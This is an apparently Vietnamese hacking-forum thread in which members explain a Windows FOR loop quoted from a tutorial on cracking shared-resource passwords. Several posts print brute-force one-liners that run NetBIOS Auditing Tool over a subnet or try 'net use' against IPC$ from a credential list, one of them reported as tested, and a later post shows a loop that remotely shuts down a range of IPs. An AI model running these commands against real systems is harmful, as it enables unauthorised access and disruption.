banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Cho em hỏi mọt số vấn đề về lệnh trong DOS.  XML
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 21:58:11 (+0700) | #1 | 79223
kimsonha
Member

[Minus]    0    [Plus]
Joined: 28/05/2007 10:07:19
Messages: 46
Offline
[Profile] [PM] [Yahoo!]
Em cũng có một số kiến thức về Dos,nhueng câu lệnh này thì em honk hiểu lắm mong mấy bác chỉ giúp em mấy tham số trong câu lệnh này

"Vậy máy x.x.x.x s? có 2 username là : ADMIN va BODY
Khi dã có username hacker s? ti?n hành Crack password ( d?a vào các tool nhu : pqwak,xIntruder) Ho?c Hacker s? ti?n hành t?o ra m?t t? di?n ( d?a vào kh? nang phán doán c?a hacker ) tên là : pass.txt


CODE


“” ADMIN
123456 ADMIN
123456 BODY
“” BODY



Sau dó hacker crack bang l?nh :
[/CODE]Cung có th? t?o Userlist.txt và passlist.txt r?i dùng l?nh:


CODE


C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt "


[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 22:11:21 (+0700) | #2 | 79225
L0ng3ta
Locked

[Minus]    0    [Plus]
Joined: 17/09/2002 13:47:43
Messages: 264
Location: Địa cầu
Offline
[Profile] [PM]

kimsonha wrote:

C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt "

 


==>lệnh này là lện Net use mới đúng , có nghĩa là bạn dựa vào danh sách user + password có sẵn trong userlist.txt để thử từng cái một.
Đây là một hình thức của bruce force.
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 22:31:23 (+0700) | #3 | 79229
kimsonha
Member

[Minus]    0    [Plus]
Joined: 28/05/2007 10:07:19
Messages: 46
Offline
[Profile] [PM] [Yahoo!]
Vâng cái đó em cpoy ra nên bị lỗi như vậy, nhưng ý em muốn hỏi là đoạn trước kìa:
FOR /F %i IN (1,1,254) DO
Cái đó đó,anh làm ơn giải thích các tham số như FOR, /F.%i,IN và cả (1,1,25400 nghĩa là gì vậy ạ!
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 22:37:51 (+0700) | #4 | 79230
L0ng3ta
Locked

[Minus]    0    [Plus]
Joined: 17/09/2002 13:47:43
Messages: 264
Location: Địa cầu
Offline
[Profile] [PM]
Muốn biết rõ về lệnh lặp for và tham số của nó bạn vào command line gõ for/? và đọc nó.
[Up] [Print Copy]
  [Question]   Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 22:57:46 (+0700) | #5 | 79236
freed
Member

[Minus]    0    [Plus]
Joined: 07/04/2007 22:42:36
Messages: 12
Offline
[Profile] [PM]
Chỉ dùm đi, em cũng tìm mà hổng ra
Toàn tiếng anh dạng viết tắt không, hiểu được chết liền.
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 23:00:14 (+0700) | #6 | 79237
L0ng3ta
Locked

[Minus]    0    [Plus]
Joined: 17/09/2002 13:47:43
Messages: 264
Location: Địa cầu
Offline
[Profile] [PM]
Nếu không hiểu thì việc kế tiếp là nên học tiếng anh smilie)
[Up] [Print Copy]
  [Question]   Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. 16/08/2007 23:05:52 (+0700) | #7 | 79240
freed
Member

[Minus]    0    [Plus]
Joined: 07/04/2007 22:42:36
Messages: 12
Offline
[Profile] [PM]
Tìm trong từ điển rồi mà cũng không có, học tiếng anh nào cơ.
Anh không chỉ thì thôi vậy, nhưng em thấy hay hay nên hỏi thôi.
[Up] [Print Copy]
  [Question]   Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 01:33:53 (+0700) | #8 | 79261
[Avatar]
tmd
Member

[Minus]    0    [Plus]
Joined: 28/06/2006 03:39:48
Messages: 2951
Offline
[Profile] [PM]
Không hiểu tiếng Anh, cũng không có kiến thức về MS-Dos, thì làm gì được. Lệnh trong DOS nhiều lắm. Mở Help and Support của windows, tìm với từ khóa command line, phần full text search match, có một mục nói về cách sử dụng FOR.

Từ khóa command line reference , sẽ ra một mớ các thông tin, thích thì chọn complete list of command line tools, nó sẽ show ra toàn bộ các lệnh.Tấc nhiên là tiếng Anh. smilie
3 giai đoạn của con... người, ban đầu dek biết gì thì phải thăm dò, sau đó biết rồi thì phải thân thiết, sau cùng khi quá thân thiết rồi thì phải tình thương mến thương. Nhưng mà không thương được thì ...
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 04:02:17 (+0700) | #9 | 79273
kimsonha
Member

[Minus]    0    [Plus]
Joined: 28/05/2007 10:07:19
Messages: 46
Offline
[Profile] [PM] [Yahoo!]
Gởi L0ng3ta: em tưởng là em copy bị sai nhưng hóa ra không phải ,chổ
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt
đúng là "nat" chứ không phải là "net use" đâu. Vậy "nat" là lệnh gì vậy anh. Anh có thể vao trang quantrimang.com để xem cho rõ ,đó là bài "Hacking PC resource share - Hướng đi và giải pháp "


[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 06:06:52 (+0700) | #10 | 79278
L0ng3ta
Locked

[Minus]    0    [Plus]
Joined: 17/09/2002 13:47:43
Messages: 264
Location: Địa cầu
Offline
[Profile] [PM]

kimsonha wrote:
Gởi L0ng3ta: em tưởng là em copy bị sai nhưng hóa ra không phải ,chổ
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt
đúng là "nat" chứ không phải là "net use" đâu. Vậy "nat" là lệnh gì vậy anh. Anh có thể vao trang quantrimang.com để xem cho rõ ,đó là bài "Hacking PC resource share - Hướng đi và giải pháp "

 


Theo anh nghĩ thì nếu là Hacking PC resource share thì chủ yếu là dùng net use. Còn lệnh nat thì anh không hiểu ? em có thể nào cho anh cái link trực tiếp đến bài viết đó được không và chúng ta cùng nhau tìm hiểu em nhé.
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 06:48:00 (+0700) | #11 | 79282
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]

kimsonha wrote:
Gởi L0ng3ta: em tưởng là em copy bị sai nhưng hóa ra không phải ,chổ
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt
đúng là "nat" chứ không phải là "net use" đâu. Vậy "nat" là lệnh gì vậy anh. Anh có thể vao trang quantrimang.com để xem cho rõ ,đó là bài "Hacking PC resource share - Hướng đi và giải pháp "


 

NAT là từ viết tắt của NetBios Auditing Tool, nó là một chương trình có thể dùng để lấy pass admin của Windows NT bằng cách tạo 1 file text có chứa username và password tương ứng, ví dụ như:

password username
admin Administrator
administrator Administrator
secret Administrator
 

Sau đó dùng lệnh FOR trong Windows chạy qua file này để dò pass. Xem thêm tại đây hoặc google với key: NetBIOS Auditing Tool
Let's build on a great foundation!
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 07:04:54 (+0700) | #12 | 79289
L0ng3ta
Locked

[Minus]    0    [Plus]
Joined: 17/09/2002 13:47:43
Messages: 264
Location: Địa cầu
Offline
[Profile] [PM]
@quanta : vừa mới xem qua cái link của bạn và phát hiện ra một điều là nat như là một lệnh ngoại trú đồng nghĩa với nó là một tool riêng biệt dành cho việc bruce force. Vậy có thể nói nó không khác gì lệnh net use về mặt ngữ nghĩa.


tạo một tệp tin, trong đó có chứa username và password tương ứng nhau . Ví dụ ta tạo 1 file credentials.txt :
[file: credentials.txt]
password username
admin Administrator
administrator Administrator
secret Administrator
........... .....................
sau đó dùng lệnh FOR trong Windows để dò password admin , cụ thể :
c:\>FOR /F "tokens=1,2*" %i in (credetials.txt) do net use (tên ổ đĩa): \\server\IPC$ %i /u:%j

Lệnh này lấy 2 "từ vị" ở mỗi dòng, và lấy "từ vị" đầu cho biến %i (password), và "từ" vị thứ 2 cho biến %j trong khi sử dụng lệnh net use cho resource IPC$, IPC$ ở đây có thể là ổ C$ hay D$, còn tên ổ đĩa bạn nên lấy những ổ "ảo", nghĩa là không có trên máy ví dụ ổ H: hay I: V:
Lệnh này đã được mình test thành công !

-----------------------------------------------------------------

Có rất nhiều chương trình để lấy pass theo kiểu chọn này, ở đây ta dùng chương trình NAT (NetBIOS Auditing Tool), chương trình này được sử dụng cho tất cả các PC ở class C :
D:\> FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt 192.168.202.%I >> nat_output.txt
 

p/s: cái bài tổng hợp này tôi cảm thấy có một điều bất ngờ là lại có cả đoạn code worm của tôi trong đó ... quả là hết nói.
[Up] [Print Copy]
  [Question]   Re: Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 07:18:58 (+0700) | #13 | 79292
[Avatar]
hongtham
Member

[Minus]    0    [Plus]
Joined: 31/01/2007 15:29:12
Messages: 104
Offline
[Profile] [PM]
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt "

lệnh ngoại trú này chạy ở C:\> như thế này liệu có war không
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 17/08/2007 12:27:46 (+0700) | #14 | 79341
[Avatar]
kid_b0d
Member

[Minus]    0    [Plus]
Joined: 16/08/2006 00:49:55
Messages: 70
Location: Phan thiết, Bình thu
Offline
[Profile] [PM] [WWW]
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt " 

Theo kiến thức nông cạn của tôi thì câu lệnh này thực thi 1 vòng lập FOR, tùy chọn là /F , và i là một variable, lấy user trong userlist.txt và passwd trong passlist.txt , sau đó lần lượt cho đến khi kết thúc.
Code:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ('string') DO command [command-parameters]
FOR /F ["options"] %variable IN (`command`) DO command [command-parameters]

    filenameset is one or more file names.  Each file is opened, read
    and processed before going on to the next file in filenameset.
    Processing consists of reading in the file, breaking it up into
    individual lines of text and then parsing each line into zero or
    more tokens.  The body of the for loop is then called with the
    variable value(s) set to the found token string(s).  By default, /F
    passes the first blank separated token from each line of each file.
    Blank lines are skipped.  You can override the default parsing
    behavior by specifying the optional "options" parameter.  This
    is a quoted string which contains one or more keywords to specify
    different parsing options.  The keywords are:

        eol=c           - specifies an end of line comment character
                          (just one)
        skip=n          - specifies the number of lines to skip at the
                          beginning of the file.
        delims=xxx      - specifies a delimiter set.  This replaces the
                          default delimiter set of space and tab.
        tokens=x,y,m-n  - specifies which tokens from each line are to
                          be passed to the for body for each iteration.
                          This will cause additional variable names to
                          be allocated.  The m-n form is a range,
                          specifying the mth through the nth tokens.  I
                          the last character in the tokens= string is a
                          asterisk, then an additional variable is
                          allocated and receives the remaining text on
                          the line after the last token parsed.
        usebackq        - specifies that the new semantics are in force
                          where a back quoted string is executed as a
                          command and a single quoted string is a
                          literal string command and allows the use of
                          double quotes to quote file names in
                          filenameset.

    Some examples might help:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j

    would parse each line in myfile.txt, ignoring lines that begin with
    a semicolon, passing the 2nd and 3rd token from each line to the fo
    body, with tokens delimited by commas and/or spaces.  Notice the fo
    body statements reference %i to get the 2nd token, %j to get the
    3rd token, and %k to get all remaining tokens after the 3rd.  For
    file names that contain spaces, you need to quote the filenames wit
    double quotes.  In order to use double quotes in this manner, you a
    need to use the usebackq option, otherwise the double quotes will b
    interpreted as defining a literal string to parse.

    %i is explicitly declared in the for statement and the %j and %k
    are implicitly declared via the tokens= option.  You can specify up
    to 26 tokens via the tokens= line, provided it does not cause an
    attempt to declare a variable higher than the letter 'z' or 'Z'.
    Remember, FOR variables are single-letter, case sensitive, global,
    and you can't have more than 52 total active at any one time.

    You can also use the FOR /F parsing logic on an immediate string, b
    making the filenameset between the parenthesis a quoted string,
    using single quote characters.  It will be treated as a single line
    of input from a file and parsed.

    Finally, you can use the FOR /F command to parse the output of a
    command.  You do this by making the filenameset between the
    parenthesis a back quoted string.  It will be treated as a command
    line, which is passed to a child CMD.EXE and the output is captured
    into memory and parsed as if it was a file.  So the following
    example:

      FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    would enumerate the environment variable names in the current
    environment.

In addition, substitution of FOR variable references has been enhanced.
You can now use the following optional syntax:

    %~I         - expands %I removing any surrounding quotes (")
    %~fI        - expands %I to a fully qualified path name
    %~dI        - expands %I to a drive letter only
    %~pI        - expands %I to a path only
    %~nI        - expands %I to a file name only
    %~xI        - expands %I to a file extension only
    %~sI        - expanded path contains short names only
    %~aI        - expands %I to file attributes of file
    %~tI        - expands %I to date/time of file
    %~zI        - expands %I to size of file
    %~$PATH:I   - searches the directories listed in the PATH
                   environment variable and expands %I to the
                   fully qualified name of the first one found.
                   If the environment variable name is not
                   defined or the file is not found by the
                   search, then this modifier expands to the
                   empty string

The modifiers can be combined to get compound results:

    %~dpI       - expands %I to a drive letter and path only
    %~nxI       - expands %I to a file name and extension only
    %~fsI       - expands %I to a full path name with short names only
    %~dp$PATH:I - searches the directories listed in the PATH
                   environment variable for %I and expands to the
                   drive letter and path of the first one found.
    %~ftzaI     - expands %I to a DIR like output line

In the above examples %I and PATH can be replaced by other valid
values.  The %~ syntax is terminated by a valid FOR variable name.
Picking upper case variable names like %I makes it more readable and
avoids confusion with the modifiers, which are not case sensitive.
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 18/08/2007 03:13:24 (+0700) | #15 | 79433
kimsonha
Member

[Minus]    0    [Plus]
Joined: 28/05/2007 10:07:19
Messages: 46
Offline
[Profile] [PM] [Yahoo!]
Thank mấy bác!
Mấy cha ở quantrimang viết bài tệ thật,dùng tôl riêng để bẻ khóa thì phải nói rõ làm em cứ tưởng là lệnh trong DOS.
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 02/09/2009 09:23:56 (+0700) | #16 | 191748
microdelta
Member

[Minus]    0    [Plus]
Joined: 01/09/2009 08:17:04
Messages: 1
Offline
[Profile] [PM]
"FOR /F %i IN (1,1,254) DO"
Giống như cấu trúc của ngôn ngữ lập trình C, C++, C#, Java, VB (Chúng chỉ khác nhau về cách viết lệnh và cách thực hiện trong nền tảng ngôn ngữ)
Ví dụ cấu trúc: For /f %i In (a, b, c) Do ...
For là từ khóa cho vòng lặp, %i: khai báo biến, a: giá trị bắt đầu vòng lặp, b: giá trị tăng thêm, c: giá trị kết thúc vòng lặp.
Ví dụ: for /f %bien In (5, 3, 100) Do shutdown /s \\192.168.1.bien
Lệnh trên sẽ Tắt máy có dịa chỉ IP: 192.168.1.5, 192.168.1.8 (5+3), 192.168.1.11 (8+3), ...
Lệnh shutdown trên chưa thật sự chính xác lắm, cần cải tiến thêm do lỗi vòng lặp khi giá trị tăng lên nhưng không tìm thấy IP phù hợp hoặc không có mạng thì bị lỗi. Tốt nhất nên kiểm tra trước bằng lệnh ping và thực hiện các lệnh lần lượt có sự kiểm tra điều kiện--> đưa tất cả lệnh vào file script thì dễ dàng hơn.
Mong rằng chúng sẽ có ích, chào bạn!
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 20/05/2012 15:20:15 (+0700) | #17 | 263609
[Avatar]
Cabious
Member

[Minus]    0    [Plus]
Joined: 28/12/2011 04:18:56
Messages: 7
Location: loading...
Offline
[Profile] [PM] [Yahoo!] [MSN]

microdelta wrote:
"FOR /F %i IN (1,1,254) DO"
Giống như cấu trúc của ngôn ngữ lập trình C, C++, C#, Java, VB (Chúng chỉ khác nhau về cách viết lệnh và cách thực hiện trong nền tảng ngôn ngữ)
Ví dụ cấu trúc: For /f %i In (a, b, c) Do ...
For là từ khóa cho vòng lặp, %i: khai báo biến, a: giá trị bắt đầu vòng lặp, b: giá trị tăng thêm, c: giá trị kết thúc vòng lặp.
Ví dụ: for /f %bien In (5, 3, 100) Do shutdown /s \\192.168.1.bien
Lệnh trên sẽ Tắt máy có dịa chỉ IP: 192.168.1.5, 192.168.1.8 (5+3), 192.168.1.11 (8+3), ...
Lệnh shutdown trên chưa thật sự chính xác lắm, cần cải tiến thêm do lỗi vòng lặp khi giá trị tăng lên nhưng không tìm thấy IP phù hợp hoặc không có mạng thì bị lỗi. Tốt nhất nên kiểm tra trước bằng lệnh ping và thực hiện các lệnh lần lượt có sự kiểm tra điều kiện--> đưa tất cả lệnh vào file script thì dễ dàng hơn.
Mong rằng chúng sẽ có ích, chào bạn! 

Thế bạn cho mình biết còn lệnh lặp nào nữa không, giống như while..do hoặc repeat..until trong pascal đó.. mình tìm hoài mà chỉ thấy có for..do thôi
H.O.M.E.W.O.R.K = Half Of My Energy Wasted On Random Knowledge
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 20/05/2012 16:35:21 (+0700) | #18 | 263611
[Avatar]
xuanphongdocco
Member

[Minus]    0    [Plus]
Joined: 19/08/2009 08:25:03
Messages: 247
Offline
[Profile] [PM]

Thế bạn cho mình biết còn lệnh lặp nào nữa không, giống như while..do hoặc repeat..until trong pascal đó.. mình tìm hoài mà chỉ thấy có for..do thôi 


Bạn hãy tìm hiểu cú pháp GOTO http://ss64.com/nt/goto.html
Xuân Phong Nguyễn
[Up] [Print Copy]
  [Question]   Cho em hỏi mọt số vấn đề về lệnh trong DOS. 21/05/2012 03:34:34 (+0700) | #19 | 263639
[Avatar]
Cabious
Member

[Minus]    0    [Plus]
Joined: 28/12/2011 04:18:56
Messages: 7
Location: loading...
Offline
[Profile] [PM] [Yahoo!] [MSN]
GOTO thì làm thế nào cũng được
Thế mà mình không nghĩ ra, cám ơn bạn nhé
H.O.M.E.W.O.R.K = Half Of My Energy Wasted On Random Knowledge
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|